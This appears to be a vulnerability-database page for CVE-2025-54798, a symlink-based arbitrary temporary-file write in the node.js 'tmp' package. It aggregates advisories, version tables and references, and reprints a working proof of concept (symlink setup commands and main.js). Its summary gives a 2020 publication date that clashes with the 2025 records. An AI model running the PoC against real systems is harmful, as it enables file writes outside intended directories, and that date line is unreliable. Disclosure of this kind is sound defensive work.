CVE-2025-54798
tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
2.5
tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Record
CVE-2025-54798- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2025-23895
2.5
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Record
EUVD-2025-23895- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-52f5-9888-hmc6
2.5
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Summary
[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
- check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
- run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
- the temporary file is created under
$HOME/mydir1(outside thetmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i [email protected]
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir':…
- Record
GHSA-52f5-9888-hmc6- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-73v8-v6g4-vrpm No score
Arbitrary File Overwrite in decompress-zip
Vulnerable versions of decompress-zip are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because decompress-zip does not verify that extracted files do not resolve to targets outside of the extraction root directory.
Recommendation
For decompress-zip 0.2.x upgrade to 0.2.2 or later.
For decompress-zip 0.3.x upgrade to 0.3.2 or later.
- Record
GHSA-73v8-v6g4-vrpm- Updated
- 2026-11-02
NVD
2.5
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Record
CVE-2025-54798- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSV
2.5
tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Record
CVE-2025-54798- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
Show 18 moreShow less
OSVDEBIAN-CVE-2025-54798
5.3
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Record
DEBIAN-CVE-2025-54798- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
OSVGHSA-52f5-9888-hmc6
2.5
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Summary
[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
- check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
- run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
- the temporary file is created under
$HOME/mydir1(outside thetmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i [email protected]
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir':…
- Record
GHSA-52f5-9888-hmc6- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-54798
2.5
CVE-2025-54798 in @rootio/tmp - Patched by Root
Root has patched CVE-2025-54798 in the @rootio/tmp package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-54798- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-54798
2.5
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
- Record
UBUNTU-CVE-2025-54798- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1774225215 No score
TuxCare security update for decompress-zip (1 CVE)
TuxCare rebuilt decompress-zip to address 1 CVE. Fixed in 0.1.0-tuxcare.1.
- Record
CLSA-2026-1774225215- Updated
- 2026-11-02
OSVCLSA-2026-1774398084 No score
TuxCare security update for git-clone (5 CVEs)
TuxCare rebuilt git-clone to address 5 CVEs. Fixed in 0.1.0-tuxcare.1.
- Record
CLSA-2026-1774398084- Updated
- 2026-11-02
OSVCLSA-2026-1775003179 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.1-tuxcare.1.
- Record
CLSA-2026-1775003179- Updated
- 2026-11-02
OSVCLSA-2026-1775003184 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.1.0-tuxcare.1.
- Record
CLSA-2026-1775003184- Updated
- 2026-11-02
OSVCLSA-2026-1775003185 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.33-tuxcare.1.
- Record
CLSA-2026-1775003185- Updated
- 2026-11-02
OSVCLSA-2026-1775003186 No score
TuxCare security update for tmp (2 CVEs)
TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.0.30-tuxcare.1.
- Record
CLSA-2026-1775003186- Updated
- 2026-11-02
OSVCLSA-2026-1775608295 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.28-tuxcare.1.
- Record
CLSA-2026-1775608295- Updated
- 2026-11-02
OSVCLSA-2026-1776818190 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.24-tuxcare.1.
- Record
CLSA-2026-1776818190- Updated
- 2026-11-02
OSVCLSA-2026-1782694760 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.3-tuxcare.1.
- Record
CLSA-2026-1782694760- Updated
- 2026-11-02
OSVCLSA-2026-1784682766 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.31-tuxcare.1.
- Record
CLSA-2026-1784682766- Updated
- 2026-11-02
OSVCLSA-2026-1792490490 No score
TuxCare security update for tmp (1 CVE)
TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.29-tuxcare.1.
- Record
CLSA-2026-1792490490- Updated
- 2026-11-02
OSVGHSA-73v8-v6g4-vrpm No score
Arbitrary File Overwrite in decompress-zip
Vulnerable versions of decompress-zip are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because decompress-zip does not verify that extracted files do not resolve to targets outside of the extraction root directory.
Recommendation
For decompress-zip 0.2.x upgrade to 0.2.2 or later.
For decompress-zip 0.3.x upgrade to 0.3.2 or later.
- Record
GHSA-73v8-v6g4-vrpm- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15502-1 No score
jupyter-nbdime-7.0.2-23.1 on GA media
These are all security issues fixed in the jupyter-nbdime-7.0.2-23.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15502-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15506-1 No score
jupyter-bqplot-jupyterlab-0.5.46-13.1 on GA media
These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-13.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15506-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tmpnpm |
through 0.2.3 | 0.2.4 |
decompress-zipnpm |
before 0.2.2 | 0.2.2 |
decompress-zipnpm |
0.3.0 up to 0.3.2 | 0.3.2 |
decompress-zipTuxCare:npm |
0.1.0-tuxcare.0 up to 0.1.0-tuxcare.1, plus listed versions 0.1.0 |
0.1.0-tuxcare.1 |
tmpTuxCare:npm |
0.2.1-tuxcare.0 up to 0.2.1-tuxcare.1, plus listed versions 0.2.1 |
0.2.1-tuxcare.1 |
tmpTuxCare:npm |
0.1.0-tuxcare.0 up to 0.1.0-tuxcare.1, plus listed versions 0.1.0 |
0.1.0-tuxcare.1 |
tmpTuxCare:npm |
0.0.33-tuxcare.0 up to 0.0.33-tuxcare.1, plus listed versions 0.0.33 |
0.0.33-tuxcare.1 |
tmpTuxCare:npm From an advisory covering 2 CVEs |
0.0.30-tuxcare.0 up to 0.0.30-tuxcare.1, plus listed versions 0.0.30 |
0.0.30-tuxcare.1 |
tmpTuxCare:npm |
0.0.28-tuxcare.0 up to 0.0.28-tuxcare.1, plus listed versions 0.0.28 |
0.0.28-tuxcare.1 |
tmpTuxCare:npm |
0.0.24-tuxcare.0 up to 0.0.24-tuxcare.1, plus listed versions 0.0.24 |
0.0.24-tuxcare.1 |
Show 20 moreShow less
| Package | Affected | Fixed |
|---|---|---|
tmpTuxCare:npm |
0.2.3-tuxcare.0 up to 0.2.3-tuxcare.1, plus listed versions 0.2.3 |
0.2.3-tuxcare.1 |
tmpTuxCare:npm |
0.0.31-tuxcare.0 up to 0.0.31-tuxcare.1, plus listed versions 0.0.31 |
0.0.31-tuxcare.1 |
tmpTuxCare:npm |
0.0.29-tuxcare.0 up to 0.0.29-tuxcare.1, plus listed versions 0.0.29 |
0.0.29-tuxcare.1 |
node-tmpDebian:12 |
before 0.2.2+dfsg+~0.2.3-1.1~deb12u1, plus listed versions 0.2.2+dfsg+~0.2.3-1 |
0.2.2+dfsg+~0.2.3-1.1~deb12u1 |
node-tmpDebian:13 |
before 0.2.2+dfsg+~0.2.3-1.1~deb13u1, plus listed versions 0.2.2+dfsg+~0.2.3-10.2.2+dfsg+~0.2.3-1.1~deb12u1 |
0.2.2+dfsg+~0.2.3-1.1~deb13u1 |
node-tmpDebian:14 |
before 0.2.2+dfsg+~0.2.3-1.1, plus listed versions 0.2.2+dfsg+~0.2.3-10.2.2+dfsg+~0.2.3-1.1~deb12u10.2.2+dfsg+~0.2.3-1.1~deb13u1 |
0.2.2+dfsg+~0.2.3-1.1 |
node-tmpDebian:11 |
before 0.2.1+dfsg-1+deb11u1, plus listed versions 0.2.1+dfsg-1 |
0.2.1+dfsg-1+deb11u1 |
tmpnpm |
before 0.2.4 | 0.2.4 |
@rootio/tmpRoot:npm |
before 0.0.33-root.io.1 | 0.0.33-root.io.10.0.33-root.io.20.0.33-root.io.30.0.33-root.io.40.2.4-root.io.1 |
tmpRoot:npm |
before 0.0.33-aikido.4 | 0.0.33-aikido.40.2.4-aikido.1 |
node-tmpUbuntu:16.04:LTS |
All versions, plus listed versions 0.0.25-10.0.28-1 |
None known |
node-tmpUbuntu:18.04:LTS |
All versions, plus listed versions 0.0.31-1 |
None known |
node-tmpUbuntu:20.04:LTS |
All versions, plus listed versions 0.0.33+dfsg-20.1.0+dfsg-20.1.0+dfsg-30.1.0+dfsg-6 |
None known |
node-tmpUbuntu:22.04:LTS |
All versions, plus listed versions 0.2.1+dfsg-10.2.1+dfsg-20.2.1+dfsg+~0.2.2-1 |
None known |
node-tmpUbuntu:24.04:LTS |
All versions, plus listed versions 0.2.2+dfsg+~0.2.3-1 |
None known |
node-tmpUbuntu:25.10 |
All versions, plus listed versions 0.2.2+dfsg+~0.2.3-10.2.2+dfsg+~0.2.3-1.1 |
None known |
node-tmpUbuntu:26.10 |
All versions, plus listed versions 0.2.5+dfsg+~0.2.6-20.2.7+dfsg+~0.2.6-1 |
None known |
node-tmpUbuntu:26.04:LTS |
All versions, plus listed versions 0.2.2+dfsg+~0.2.3-1.10.2.5+dfsg+~0.2.6-10.2.5+dfsg+~0.2.6-2 |
None known |
python-nbdimeopenSUSE:Tumbleweed |
before 4.0.2-23.1 | 4.0.2-23.1 |
python-bqplotopenSUSE:Tumbleweed |
before 0.12.45-13.1 | 0.12.45-13.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-54798 is a low vulnerability (CVSS 2.5) in Raszi Tmp, published September 2, 2020. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 31st percentile. Fixed in tmp 0.2.4.
References
github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6
github.com/raszi/node-tmp/issues/207
github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b
lists.debian.org/debian-lts-announce/2025/08/msg00007.html
nvd.nist.gov/vuln/detail/CVE-2025-54798
github.com/advisories/GHSA-52f5-9888-hmc6
Show 10 moreShow less
github.com/nodejs/security-wg/blob/master/vuln/npm/488.json
snyk.io/research/zip-slip-vulnerability
npmjs.com/advisories/777
github.com/advisories/GHSA-73v8-v6g4-vrpm
github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54798.json
security-tracker.debian.org/tracker/CVE-2025-54798
github.com/raszi/node-tmp
ubuntu.com/security/CVE-2025-54798
cve.org/CVERecord?id=CVE-2025-54798
suse.com/security/cve/CVE-2025-54798
Left out here: the rest of 2 source descriptions. The JSON record has them.